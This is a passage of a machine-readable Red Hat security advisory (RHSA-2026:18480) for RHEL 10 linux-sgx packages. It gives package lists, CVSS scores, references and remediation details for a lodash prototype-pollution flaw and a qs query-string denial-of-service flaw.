"date": "2026-07-22T15:08:01+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.7"
}
},
"id": "RHSA-2026:18480",
"initial_release_date": "2026-05-19T09:16:01+00:00",
"revision_history": [
{
"date": "2026-05-19T09:16:01+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-05-19T09:16:01+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-07-22T15:08:01+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat Enterprise Linux AppStream (v. 10)",
"product": {
"name": "Red Hat Enterprise Linux AppStream (v. 10)",
"product_id": "AppStream-10.2.GA",
"product_identification_helper": {
"cpe": "cpe:/o:redhat:enterprise_linux:10.2"
}
}
}
],
"category": "product_family",
"name": "Red Hat Enterprise Linux"
},
{
"branches": [
{
"category": "product_version",
"name": "linux-sgx-0:2.26-7.el10.src",
"product": {
"name": "linux-sgx-0:2.26-7.el10.src",
"product_id": "linux-sgx-0:2.26-7.el10.src",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/linux-sgx@2.26-7.el10?arch=src"
}
}
}
],
"category": "architecture",
"name": "src"
},
{
"branches": [
{
"category": "product_version",
"name": "sgx-common-0:2.26-7.el10.x86_64",
"product": {
"name": "sgx-common-0:2.26-7.el10.x86_64",
"product_id": "sgx-common-0:2.26-7.el10.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-common@2.26-7.el10?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-libs-0:2.26-7.el10.x86_64",
"product": {
"name": "sgx-libs-0:2.26-7.el10.x86_64",
"product_id": "sgx-libs-0:2.26-7.el10.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-libs@2.26-7.el10?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-mpa-0:2.26-7.el10.x86_64",
"product": {
"name": "sgx-mpa-0:2.26-7.el10.x86_64",
"product_id": "sgx-mpa-0:2.26-7.el10.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-mpa@2.26-7.el10?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-pccs-0:2.26-7.el10.x86_64",
"product": {
"name": "sgx-pccs-0:2.26-7.el10.x86_64",
"product_id": "sgx-pccs-0:2.26-7.el10.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-pccs@2.26-7.el10?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-pccs-admin-0:2.26-7.el10.x86_64",
"product": {
"name": "sgx-pccs-admin-0:2.26-7.el10.x86_64",
"product_id": "sgx-pccs-admin-0:2.26-7.el10.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-pccs-admin@2.26-7.el10?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-pckid-tool-0:2.26-7.el10.x86_64",
"product": {
"name": "sgx-pckid-tool-0:2.26-7.el10.x86_64",
"product_id": "sgx-pckid-tool-0:2.26-7.el10.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-pckid-tool@2.26-7.el10?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "tdx-qgs-0:2.26-7.el10.x86_64",
"product": {
"name": "tdx-qgs-0:2.26-7.el10.x86_64",
"product_id": "tdx-qgs-0:2.26-7.el10.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/tdx-qgs@2.26-7.el10?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"product": {
"name": "linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"product_id": "linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/linux-sgx-debugsource@2.26-7.el10?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"product": {
"name": "linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"product_id": "linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/linux-sgx-debuginfo@2.26-7.el10?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"product": {
"name": "sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"product_id": "sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-enclave-devel-debuginfo@2.26-7.el10?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"product": {
"name": "sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"product_id": "sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-libs-debuginfo@2.26-7.el10?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"product": {
"name": "sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"product_id": "sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-mpa-debuginfo@2.26-7.el10?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"product": {
"name": "sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"product_id": "sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-pccs-debuginfo@2.26-7.el10?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"product": {
"name": "sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"product_id": "sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/sgx-pckid-tool-debuginfo@2.26-7.el10?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"product": {
"name": "tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"product_id": "tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/tdx-attest-libs-debuginfo@2.26-7.el10?arch=x86_64"
}
}
},
{
"category": "product_version",
"name": "tdx-qgs-debuginfo-0:2.26-7.el10.x86_64",
"product": {
"name": "tdx-qgs-debuginfo-0:2.26-7.el10.x86_64",
"product_id": "tdx-qgs-debuginfo-0:2.26-7.el10.x86_64",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/tdx-qgs-debuginfo@2.26-7.el10?arch=x86_64"
}
}
}
],
"category": "architecture",
"name": "x86_64"
}
],
"category": "vendor",
"name": "Red Hat"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "linux-sgx-0:2.26-7.el10.src as a component of Red Hat Enterprise Linux AppStream (v. 10)",
"product_id": "AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src"
},
"product_reference": "linux-sgx-0:2.26-7.el10.src",
"relates_to_product_reference": "AppStream-10.2.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "linux-sgx-debuginfo-0:2.26-7.el10.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 10)",
"product_id": "AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64"
},
"product_reference": "linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"relates_to_product_reference": "AppStream-10.2.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "linux-sgx-debugsource-0:2.26-7.el10.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 10)",
"product_id": "AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64"
},
"product_reference": "linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"relates_to_product_reference": "AppStream-10.2.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-common-0:2.26-7.el10.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 10)",
"product_id": "AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64"
},
"product_reference": "sgx-common-0:2.26-7.el10.x86_64",
"relates_to_product_reference": "AppStream-10.2.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 10)",
"product_id": "AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64"
},
"product_reference": "sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"relates_to_product_reference": "AppStream-10.2.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-libs-0:2.26-7.el10.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 10)",
"product_id": "AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64"
},
"product_reference": "sgx-libs-0:2.26-7.el10.x86_64",
"relates_to_product_reference": "AppStream-10.2.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-libs-debuginfo-0:2.26-7.el10.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 10)",
"product_id": "AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64"
},
"product_reference": "sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"relates_to_product_reference": "AppStream-10.2.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-mpa-0:2.26-7.el10.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 10)",
"product_id": "AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64"
},
"product_reference": "sgx-mpa-0:2.26-7.el10.x86_64",
"relates_to_product_reference": "AppStream-10.2.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-mpa-debuginfo-0:2.26-7.el10.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 10)",
"product_id": "AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64"
},
"product_reference": "sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"relates_to_product_reference": "AppStream-10.2.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-pccs-0:2.26-7.el10.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 10)",
"product_id": "AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64"
},
"product_reference": "sgx-pccs-0:2.26-7.el10.x86_64",
"relates_to_product_reference": "AppStream-10.2.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-pccs-admin-0:2.26-7.el10.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 10)",
"product_id": "AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64"
},
"product_reference": "sgx-pccs-admin-0:2.26-7.el10.x86_64",
"relates_to_product_reference": "AppStream-10.2.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-pccs-debuginfo-0:2.26-7.el10.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 10)",
"product_id": "AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64"
},
"product_reference": "sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"relates_to_product_reference": "AppStream-10.2.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-pckid-tool-0:2.26-7.el10.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 10)",
"product_id": "AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64"
},
"product_reference": "sgx-pckid-tool-0:2.26-7.el10.x86_64",
"relates_to_product_reference": "AppStream-10.2.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 10)",
"product_id": "AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64"
},
"product_reference": "sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"relates_to_product_reference": "AppStream-10.2.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 10)",
"product_id": "AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64"
},
"product_reference": "tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"relates_to_product_reference": "AppStream-10.2.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "tdx-qgs-0:2.26-7.el10.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 10)",
"product_id": "AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64"
},
"product_reference": "tdx-qgs-0:2.26-7.el10.x86_64",
"relates_to_product_reference": "AppStream-10.2.GA"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "tdx-qgs-debuginfo-0:2.26-7.el10.x86_64 as a component of Red Hat Enterprise Linux AppStream (v. 10)",
"product_id": "AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
},
"product_reference": "tdx-qgs-debuginfo-0:2.26-7.el10.x86_64",
"relates_to_product_reference": "AppStream-10.2.GA"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2025-13465",
"cwe": {
"id": "CWE-1321",
"name": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)"
},
"discovery_date": "2026-01-21T20:01:28.774829+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2431740"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Lodash. A prototype pollution vulnerability in the _.unset and _.omit functions allows an attacker able to control property paths to delete methods from global prototypes. By removing essential functionalities, this can result in a denial of service.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "lodash: prototype pollution in _.unset and _.omit functions",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This issue is only exploitable by applications using the _.unset and _.omit functions on an object and allowing user input to determine the path of the property to be removed. This issue only allows the deletion of properties but does not allow overwriting their behavior, limiting the impact to a denial of service. Due to this reason, this vulnerability has been rated with an important severity.\n\nIn Grafana, JavaScript code runs only in the browser, while the server side is all Golang. Therefore, the worst-case scenario is a loss of functionality in the client application inside the browser. To reflect this, the CVSS availability metric and the severity of the Grafana and the Grafana-PCP component have been updated to low and moderate, respectively.\n\nThe lodash dependency is bundled and used by the pcs-web-ui component of the PCS package. In Red Hat Enterprise Linux 8.10, the pcs-web-ui component is no longer included in the PCS package. As a result, RHEL 8.10 does not ship the vulnerable lodash component within PCS and is therefore not-affected by this CVE.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-13465"
},
{
"category": "external",
"summary": "RHBZ#2431740",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431740"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-13465",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13465"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-13465",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13465"
},
{
"category": "external",
"summary": "https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg",
"url": "https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg"
}
],
"release_date": "2026-01-21T19:05:28.846000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-19T09:16:01+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:18480"
},
{
"category": "workaround",
"details": "To mitigate this issue, implement strict input validation before passing any property paths to the _.unset and _.omit functions to block attempts to access the prototype chain. Ensure that strings like __proto__, constructor and prototype are blocked, for example.",
"product_ids": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
},
"products": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "lodash: prototype pollution in _.unset and _.omit functions"
},
{
"cve": "CVE-2025-15284",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2025-12-29T23:00:58.541337+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2425946"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in qs, a module used for parsing query strings. A remote attacker can exploit an improper input validation vulnerability by sending specially crafted HTTP requests that use bracket notation (e.g., `a[]=value`). This bypasses the `arrayLimit` option, which is designed to limit the size of parsed arrays and prevent resource exhaustion. Successful exploitation can lead to memory exhaustion, causing a Denial of Service (DoS) where the application crashes or becomes unresponsive, making the service unavailable to users.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "qs: qs: Denial of Service via improper input validation in array parsing",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability is rated Important for Red Hat products that utilize the `qs` module for parsing query strings, particularly when processing user-controlled input with bracket notation. The `arrayLimit` option, intended to prevent resource exhaustion, is bypassed when bracket notation (`a[]=value`) is used, allowing a remote attacker to cause a denial of service through memory exhaustion. This can lead to application crashes or unresponsiveness, making the service unavailable.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-15284"
},
{
"category": "external",
"summary": "RHBZ#2425946",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2425946"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-15284",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15284"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-15284",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15284"
},
{
"category": "external",
"summary": "https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9",
"url": "https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9"
},
{
"category": "external",
"summary": "https://github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p",
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p"
}
],
"release_date": "2025-12-29T22:56:45.240000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-19T09:16:01+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-debuginfo-0:2.26-7.el10.x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:18480"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"AppStream-10.2.GA:linux-sgx-0:2.26-7.el10.src",
"AppStream-10.2.GA:linux-sgx-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:linux-sgx-debugsource-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-common-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-enclave-devel-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-mpa-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-admin-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pccs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:sgx-pckid-tool-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-attest-libs-debuginfo-0:2.26-7.el10.x86_64",
"AppStream-10.2.GA:tdx-qgs-0:2.26-7.el10.x86_64",
